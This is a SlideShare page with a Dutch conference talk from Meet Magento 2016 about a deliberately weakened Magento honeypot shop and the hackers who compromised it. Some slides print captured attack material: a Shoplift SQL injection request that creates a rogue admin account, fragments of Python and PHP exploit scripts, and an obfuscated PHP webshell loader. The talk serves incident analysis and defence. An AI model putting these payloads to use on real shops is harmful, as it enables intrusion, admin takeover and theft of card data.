SlideShare a Scribd company logo
1 of 33
Download to read offline
Hackers traced, a case study
17× gehackt in 8 weken, we pakken ze terug!
ing. Tim Muller, developer @ Byte / MageReport.com
Hoe het begon
Onze eigen shop werd - tot onze
schande - gehackt via Shoplift
Tijd voor een experiment!
Hoe komen hackers binnen?
Wat doen ze met de shop?
Wat houden we aan het eind over?
Methode
Nauw volgen wat de hackers
uitvoeren & wat voor impact dit
heeft op de shop.
Precies het tegenovergestelde doen!
We bouwen een "unmanaged VPS" met
standaard 1.9.0 installatie.
Stap 1: Strippen van Hypernode
Filters op de bekende aanvalspatronen
Heuristische lters op nieuwe aanvallen
Rate limits op bots en onbekende logins
Directory listing aan voor bijv. /var/cache en .git bestanden
Stap 2: Aanpassen Magento
Installeren standaard Magmi
Standaard admin url met admin account 'admin123'
Stap 3: Toevoegen forensische maatregelen
Legitiem verkeer blokkeren (zoekmachines)
Uitschakelen SSL
TCPDUMP
IJk-kopie van database en les
Root-protected Git repository
Redirect uitgaande mail
Logrotatie uit
Periodieke vergelijking van veranderingen ( les & database)
ufw deny from 62.4.6.50/24
tcpdump -pni eth0 -s65535 -G 86400 -w 'trace_%u.pcap' port not 22
Stap 4: Analyseren van gedrag
Regelmatig kopiëren van bewijs
De accesslogs strippen van ruis
Scripts voor herproduceerbaar resultaat
Git noti catie
Database noti catie
Overzicht Admin-accounts
Datum Naam Achternaam E-mail
2016-03-11 Byte Shop timwillem@magereport.com
2016-03-21 Firstname Lastname email@example.com
2016-03-25 Firstname Lastname email@example.com
2016-04-05 Firstname Lastname email@example.com
2016-04-17 Firstname Lastname c937ed8f1ebea18@telekpitekwashere.cok
2016-04-20 Firstname Lastname 410a9be9481e788@telekpitekwashere.cok
2016-04-24 Firstname Lastname 3af418a16597a7f@telekpitekwashere.cok
2016-04-30 Firstname Lastname 45637e7fb24cfc0@telekpitekwashere.cok
2016-05-04 Firstname Lastname 6e23512a4034d96@telekpitekwashere.cok
Admin accounts email@example.com
Admin gebruikers 'ghaz', 'sadmin' & 'temp_admin'
104.41.210.214 POST /index.php/admin/Cms_Wysiwyg/directive/index/
popularity[from]=0&popularity[to]=3&popularity[field_expr]=0); 
SET @SALT = 'rp'; 
SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'asdf') ), CONCAT(':', @SALT )); 
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; 
INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`, 
    `lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) 
     VALUES ('Firstname','Lastname','email@example.com', 
            'ghaz',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW()); 
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) 
     VALUES (1,2,0,'U',(SELECT user_id FROM admin_user 
                        WHERE username = 'ghaz'),'Firstname');
Admin account email@example.com
argparse.ArgumentParser(description='Exploit for Magento Shoplift Vulnerability')
options.add_argument('­m', '­­malware', action='store_true', default=False, 
              help='Install the PHP malware')
malwareDropper = "...INSERT INTO `core_file_storage`..." 
Assault = filt + adminMake + malwareDropper + commenter 
latent2 = latent2 + b64encode(Assault) 
r = requests.post(mageRoot, headers=headers, data={'filter' : latent2, 
      '___directive' : latent1, 'forwarded': '1'}, allow_redirects=True) 
         
Database storage is een interessant doel voor het
uploaden van malware door /get.php
"It's a old-rod"
README.md op Github:
"*oldrod is the shing rod tool from Pokemon. In
the Gen I Pokemon games, all it could catch was
Lvl.5 Magikarp *Although, at the time of writing,
there are 65,377 vulnerable Magento installs and
counting^, They all seem like Lvl.5 Magikarp to
me. All the Gyrados wisened up."
Admin account @telekpitekwashere.cok
Dezelfde SQL injection techniek
/* ++++++++++++++++++++++++++++++++++ 
    ShopLift Exploiter Beta Version 
        Author : FathurFreakz 
    Use : php thisfile.php "Dork" 
        YOGYAKARTA BLACK HAT 
        Special Thanks to 
      Nabiila Rizqi Khasanah 
   +++++++++++++++++++++++++++++++++ 
*/
Admin account @telekpitekwashere.cok
ShopLift Exploiter Beta Version
"Dork" is de target
233 regels aan search engine crawl code
Leest /etc/local.xml (ook via Magmi)
Ons eigen admin account is overgenomen ☹
Op 5 april is het originele account overgenomen door 'majid'
Via Shoplift admin account 'sadmin'
Via MagPleasure 'File_System' aanpassen van /api.php
/api.php
<?php
$auth_pass = "6b5b0dd03c9c85725032ce5f3a0918ae"; //password: enzo 
function onESs($NTlWmu){ 
  $NTlWmu=gzinflate(base64_decode($NTlWmu)); 
  for($i=0;$i<strlen($NTlWmu);$i++){ 
    $NTlWmu[$i] = chr(ord($NTlWmu[$i])­1); 
  } 
  return $NTlWmu; 
} 
eval(onESs("LX33juPqcucDGPA7HBj...knmClb6l7///d/+9//6/w==")) 
?> 
/api.php e-mail
/api.php, wat doet het?
Geeft 404 Not found als:
de user-agent een zoekmachine is
de credentials niet goed zijn
de GET requesten niet geauthenti ceerd zijn
/api.php, wat doet het?
FilesMan
/api.php, wat heeft de hacker gedaan?
/magmi/tests/imports/ImportSuite1Test.php bekeken (?)
Upload en uitpakken van fortuneo.zip naar js/lib/
js/lib/bloge/identi cation/con g.db1.php aangepast
js/lib/bloge/identi cation/con g.db2.php aangepast
< $send = "mehdiga96@gmail.com";
> $send = "konate.drr@gmail.com";
6 verschillende IPs
/api.php, wat heeft de hacker gedaan?
fortuneo.zip
Blacksmith Hackers Team
<title>MrGHOST PRiv8 sHeLL</title>
<a href="https://facebook.com/blacksmith.hackers"> 
        <img src="data:image/png;base64,iVBORw0KGgoAAAANSU.."></a> 
           
8 weken later...
8 weken later...
26749 brute force requests op /admin
150 Shoplift aanvallen
9 extra admin accounts
365 extra les toegevoegd
10 phishing pagina's
8 weken later...
Achter de schermen heeft shop.byte.nl nu ook
Webshells
Phishing pagina's
Proxies naar andere sites
En de schade
(Franse) creditcardgegevens en bankgegevens gelekt
De controle over de shop kwijt
De codebase is vervuild
Proberen ze zich te verbergen?
Methode van verbergen
Obscure code (eval, base64 gzin ate) ^ 2
Random hashes in URL
Google Crawlers en GET requesten worden tegengehouden
Toont pas de lemanager wanneer credentials juist zijn
Meta headers redirect naar externe website
Fake user-agents bijv. Google
Proberen ze zich te verbergen?
Geen moeite doen
Admin accounts
Brute forces op admin accounts
Overnemen van de admin
Rondslingeren van bestanden
Geen nieuwe patches, toch gehackt!
Mogelijk hebben de 'boeven' een nieuwe manier gevonden.
Onderzoek de hack, deel of betrek ons (Byte/MageReport) erbij
Wat wij kunnen:
Wat wij kunnen betekenen
Omvang van de hack onderzoeken
Security check op MageReport met een groot bereik van
shophouders
Communicatie met Magento
Dank jullie wel!
Vragen?
Heb je een hack gevonden?
Deel hem graag met code@magereport.com

More Related Content

More from Byte

Beaumotica.com & Magento 2 - Meet Magento 2016
Beaumotica.com & Magento 2 -  Meet Magento 2016Beaumotica.com & Magento 2 -  Meet Magento 2016
Beaumotica.com & Magento 2 - Meet Magento 2016Byte
 
Magento 2 performance - a benchmark
Magento 2 performance - a benchmarkMagento 2 performance - a benchmark
Magento 2 performance - a benchmarkByte
 
Workshop New Relic - juni 2015
Workshop New Relic - juni 2015Workshop New Relic - juni 2015
Workshop New Relic - juni 2015Byte
 
Google Webmasters Tools
Google Webmasters ToolsGoogle Webmasters Tools
Google Webmasters ToolsByte
 
APMG juni 2014 - Regular Expression
APMG juni 2014 - Regular ExpressionAPMG juni 2014 - Regular Expression
APMG juni 2014 - Regular ExpressionByte
 
Hypernode Pitch @ Meet Magento 2014
Hypernode Pitch @ Meet Magento 2014Hypernode Pitch @ Meet Magento 2014
Hypernode Pitch @ Meet Magento 2014Byte
 
Joomladagen 2014 - Google Tag Manager
Joomladagen 2014 - Google Tag ManagerJoomladagen 2014 - Google Tag Manager
Joomladagen 2014 - Google Tag ManagerByte
 
Hexagonal Design - Maarten van Schaik
Hexagonal Design - Maarten van SchaikHexagonal Design - Maarten van Schaik
Hexagonal Design - Maarten van SchaikByte
 
Exception Handling in Python - Rik van Achterberg & Tim Muller
Exception Handling in Python - Rik van Achterberg & Tim MullerException Handling in Python - Rik van Achterberg & Tim Muller
Exception Handling in Python - Rik van Achterberg & Tim MullerByte
 
Presentatie MUG 27 juni 2013 - Graphite/New Relic
Presentatie MUG 27 juni 2013 - Graphite/New RelicPresentatie MUG 27 juni 2013 - Graphite/New Relic
Presentatie MUG 27 juni 2013 - Graphite/New RelicByte
 
Mm13 nl presentatie byte
Mm13 nl presentatie byteMm13 nl presentatie byte
Mm13 nl presentatie byteByte
 
Site gehacked... hoe op te lossen?
 Site gehacked... hoe op te lossen? Site gehacked... hoe op te lossen?
Site gehacked... hoe op te lossen?Byte
 
Varnish & Magento
Varnish & MagentoVarnish & Magento
Varnish & MagentoByte
 
Redis - Magento User Group
Redis - Magento User GroupRedis - Magento User Group
Redis - Magento User GroupByte
 
Help! My site has been hacked!
Help! My site has been hacked!Help! My site has been hacked!
Help! My site has been hacked!Byte
 
Magento Speed Analysis - Meet Magento 2012
Magento Speed Analysis - Meet Magento 2012Magento Speed Analysis - Meet Magento 2012
Magento Speed Analysis - Meet Magento 2012Byte
 
Hosting & Onderhoud Joomladagen 2012
Hosting & Onderhoud Joomladagen 2012Hosting & Onderhoud Joomladagen 2012
Hosting & Onderhoud Joomladagen 2012Byte
 
10 Joomla vragen - Joomladagen 2010
10 Joomla vragen - Joomladagen 201010 Joomla vragen - Joomladagen 2010
10 Joomla vragen - Joomladagen 2010Byte
 
Magento Hosting, Performance & Stabiliteit - Meet Magento 2011
Magento Hosting, Performance & Stabiliteit - Meet Magento 2011Magento Hosting, Performance & Stabiliteit - Meet Magento 2011
Magento Hosting, Performance & Stabiliteit - Meet Magento 2011Byte
 
Google analytics - Joomladagen2012
Google analytics - Joomladagen2012Google analytics - Joomladagen2012
Google analytics - Joomladagen2012Byte
 

More from Byte (20)

Beaumotica.com & Magento 2 - Meet Magento 2016
Beaumotica.com & Magento 2 -  Meet Magento 2016Beaumotica.com & Magento 2 -  Meet Magento 2016
Beaumotica.com & Magento 2 - Meet Magento 2016
 
Magento 2 performance - a benchmark
Magento 2 performance - a benchmarkMagento 2 performance - a benchmark
Magento 2 performance - a benchmark
 
Workshop New Relic - juni 2015
Workshop New Relic - juni 2015Workshop New Relic - juni 2015
Workshop New Relic - juni 2015
 
Google Webmasters Tools
Google Webmasters ToolsGoogle Webmasters Tools
Google Webmasters Tools
 
APMG juni 2014 - Regular Expression
APMG juni 2014 - Regular ExpressionAPMG juni 2014 - Regular Expression
APMG juni 2014 - Regular Expression
 
Hypernode Pitch @ Meet Magento 2014
Hypernode Pitch @ Meet Magento 2014Hypernode Pitch @ Meet Magento 2014
Hypernode Pitch @ Meet Magento 2014
 
Joomladagen 2014 - Google Tag Manager
Joomladagen 2014 - Google Tag ManagerJoomladagen 2014 - Google Tag Manager
Joomladagen 2014 - Google Tag Manager
 
Hexagonal Design - Maarten van Schaik
Hexagonal Design - Maarten van SchaikHexagonal Design - Maarten van Schaik
Hexagonal Design - Maarten van Schaik
 
Exception Handling in Python - Rik van Achterberg & Tim Muller
Exception Handling in Python - Rik van Achterberg & Tim MullerException Handling in Python - Rik van Achterberg & Tim Muller
Exception Handling in Python - Rik van Achterberg & Tim Muller
 
Presentatie MUG 27 juni 2013 - Graphite/New Relic
Presentatie MUG 27 juni 2013 - Graphite/New RelicPresentatie MUG 27 juni 2013 - Graphite/New Relic
Presentatie MUG 27 juni 2013 - Graphite/New Relic
 
Mm13 nl presentatie byte
Mm13 nl presentatie byteMm13 nl presentatie byte
Mm13 nl presentatie byte
 
Site gehacked... hoe op te lossen?
 Site gehacked... hoe op te lossen? Site gehacked... hoe op te lossen?
Site gehacked... hoe op te lossen?
 
Varnish & Magento
Varnish & MagentoVarnish & Magento
Varnish & Magento
 
Redis - Magento User Group
Redis - Magento User GroupRedis - Magento User Group
Redis - Magento User Group
 
Help! My site has been hacked!
Help! My site has been hacked!Help! My site has been hacked!
Help! My site has been hacked!
 
Magento Speed Analysis - Meet Magento 2012
Magento Speed Analysis - Meet Magento 2012Magento Speed Analysis - Meet Magento 2012
Magento Speed Analysis - Meet Magento 2012
 
Hosting & Onderhoud Joomladagen 2012
Hosting & Onderhoud Joomladagen 2012Hosting & Onderhoud Joomladagen 2012
Hosting & Onderhoud Joomladagen 2012
 
10 Joomla vragen - Joomladagen 2010
10 Joomla vragen - Joomladagen 201010 Joomla vragen - Joomladagen 2010
10 Joomla vragen - Joomladagen 2010
 
Magento Hosting, Performance & Stabiliteit - Meet Magento 2011
Magento Hosting, Performance & Stabiliteit - Meet Magento 2011Magento Hosting, Performance & Stabiliteit - Meet Magento 2011
Magento Hosting, Performance & Stabiliteit - Meet Magento 2011
 
Google analytics - Joomladagen2012
Google analytics - Joomladagen2012Google analytics - Joomladagen2012
Google analytics - Joomladagen2012
 

Hackers traced - Meet Magento 2016

  • 1. Hackers traced, a case study 17× gehackt in 8 weken, we pakken ze terug! ing. Tim Muller, developer @ Byte / MageReport.com
  • 2. Hoe het begon Onze eigen shop werd - tot onze schande - gehackt via Shoplift
  • 3. Tijd voor een experiment! Hoe komen hackers binnen? Wat doen ze met de shop? Wat houden we aan het eind over?
  • 4. Methode Nauw volgen wat de hackers uitvoeren & wat voor impact dit heeft op de shop. Precies het tegenovergestelde doen! We bouwen een "unmanaged VPS" met standaard 1.9.0 installatie.
  • 5. Stap 1: Strippen van Hypernode Filters op de bekende aanvalspatronen Heuristische lters op nieuwe aanvallen Rate limits op bots en onbekende logins Directory listing aan voor bijv. /var/cache en .git bestanden
  • 6. Stap 2: Aanpassen Magento Installeren standaard Magmi Standaard admin url met admin account 'admin123'
  • 7. Stap 3: Toevoegen forensische maatregelen Legitiem verkeer blokkeren (zoekmachines) Uitschakelen SSL TCPDUMP IJk-kopie van database en les Root-protected Git repository Redirect uitgaande mail Logrotatie uit Periodieke vergelijking van veranderingen ( les & database) ufw deny from 62.4.6.50/24 tcpdump -pni eth0 -s65535 -G 86400 -w 'trace_%u.pcap' port not 22
  • 8. Stap 4: Analyseren van gedrag Regelmatig kopiëren van bewijs De accesslogs strippen van ruis Scripts voor herproduceerbaar resultaat
  • 11. Overzicht Admin-accounts Datum Naam Achternaam E-mail 2016-03-11 Byte Shop timwillem@magereport.com 2016-03-21 Firstname Lastname email@example.com 2016-03-25 Firstname Lastname email@example.com 2016-04-05 Firstname Lastname email@example.com 2016-04-17 Firstname Lastname c937ed8f1ebea18@telekpitekwashere.cok 2016-04-20 Firstname Lastname 410a9be9481e788@telekpitekwashere.cok 2016-04-24 Firstname Lastname 3af418a16597a7f@telekpitekwashere.cok 2016-04-30 Firstname Lastname 45637e7fb24cfc0@telekpitekwashere.cok 2016-05-04 Firstname Lastname 6e23512a4034d96@telekpitekwashere.cok
  • 12. Admin accounts email@example.com Admin gebruikers 'ghaz', 'sadmin' & 'temp_admin' 104.41.210.214 POST /index.php/admin/Cms_Wysiwyg/directive/index/ popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);  SET @SALT = 'rp';  SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'asdf') ), CONCAT(':', @SALT ));  SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;  INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,      `lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`)       VALUES ('Firstname','Lastname','email@example.com',              'ghaz',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());  INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name)       VALUES (1,2,0,'U',(SELECT user_id FROM admin_user                          WHERE username = 'ghaz'),'Firstname');
  • 13. Admin account email@example.com argparse.ArgumentParser(description='Exploit for Magento Shoplift Vulnerability') options.add_argument('­m', '­­malware', action='store_true', default=False,                help='Install the PHP malware') malwareDropper = "...INSERT INTO `core_file_storage`..."  Assault = filt + adminMake + malwareDropper + commenter  latent2 = latent2 + b64encode(Assault)  r = requests.post(mageRoot, headers=headers, data={'filter' : latent2,        '___directive' : latent1, 'forwarded': '1'}, allow_redirects=True)            Database storage is een interessant doel voor het uploaden van malware door /get.php
  • 14. "It's a old-rod" README.md op Github: "*oldrod is the shing rod tool from Pokemon. In the Gen I Pokemon games, all it could catch was Lvl.5 Magikarp *Although, at the time of writing, there are 65,377 vulnerable Magento installs and counting^, They all seem like Lvl.5 Magikarp to me. All the Gyrados wisened up."
  • 15. Admin account @telekpitekwashere.cok Dezelfde SQL injection techniek /* ++++++++++++++++++++++++++++++++++      ShopLift Exploiter Beta Version          Author : FathurFreakz      Use : php thisfile.php "Dork"          YOGYAKARTA BLACK HAT          Special Thanks to        Nabiila Rizqi Khasanah     +++++++++++++++++++++++++++++++++  */
  • 16. Admin account @telekpitekwashere.cok ShopLift Exploiter Beta Version "Dork" is de target 233 regels aan search engine crawl code Leest /etc/local.xml (ook via Magmi)
  • 17. Ons eigen admin account is overgenomen ☹ Op 5 april is het originele account overgenomen door 'majid' Via Shoplift admin account 'sadmin' Via MagPleasure 'File_System' aanpassen van /api.php
  • 20. /api.php, wat doet het? Geeft 404 Not found als: de user-agent een zoekmachine is de credentials niet goed zijn de GET requesten niet geauthenti ceerd zijn
  • 21. /api.php, wat doet het? FilesMan
  • 22. /api.php, wat heeft de hacker gedaan? /magmi/tests/imports/ImportSuite1Test.php bekeken (?) Upload en uitpakken van fortuneo.zip naar js/lib/ js/lib/bloge/identi cation/con g.db1.php aangepast js/lib/bloge/identi cation/con g.db2.php aangepast < $send = "mehdiga96@gmail.com"; > $send = "konate.drr@gmail.com"; 6 verschillende IPs
  • 23. /api.php, wat heeft de hacker gedaan? fortuneo.zip
  • 24. Blacksmith Hackers Team <title>MrGHOST PRiv8 sHeLL</title> <a href="https://facebook.com/blacksmith.hackers">          <img src="data:image/png;base64,iVBORw0KGgoAAAANSU.."></a>             
  • 26. 8 weken later... 26749 brute force requests op /admin 150 Shoplift aanvallen 9 extra admin accounts 365 extra les toegevoegd 10 phishing pagina's
  • 27. 8 weken later... Achter de schermen heeft shop.byte.nl nu ook Webshells Phishing pagina's Proxies naar andere sites
  • 28. En de schade (Franse) creditcardgegevens en bankgegevens gelekt De controle over de shop kwijt De codebase is vervuild
  • 29. Proberen ze zich te verbergen? Methode van verbergen Obscure code (eval, base64 gzin ate) ^ 2 Random hashes in URL Google Crawlers en GET requesten worden tegengehouden Toont pas de lemanager wanneer credentials juist zijn Meta headers redirect naar externe website Fake user-agents bijv. Google
  • 30. Proberen ze zich te verbergen? Geen moeite doen Admin accounts Brute forces op admin accounts Overnemen van de admin Rondslingeren van bestanden
  • 31. Geen nieuwe patches, toch gehackt! Mogelijk hebben de 'boeven' een nieuwe manier gevonden. Onderzoek de hack, deel of betrek ons (Byte/MageReport) erbij
  • 32. Wat wij kunnen: Wat wij kunnen betekenen Omvang van de hack onderzoeken Security check op MageReport met een groot bereik van shophouders Communicatie met Magento
  • 33. Dank jullie wel! Vragen? Heb je een hack gevonden? Deel hem graag met code@magereport.com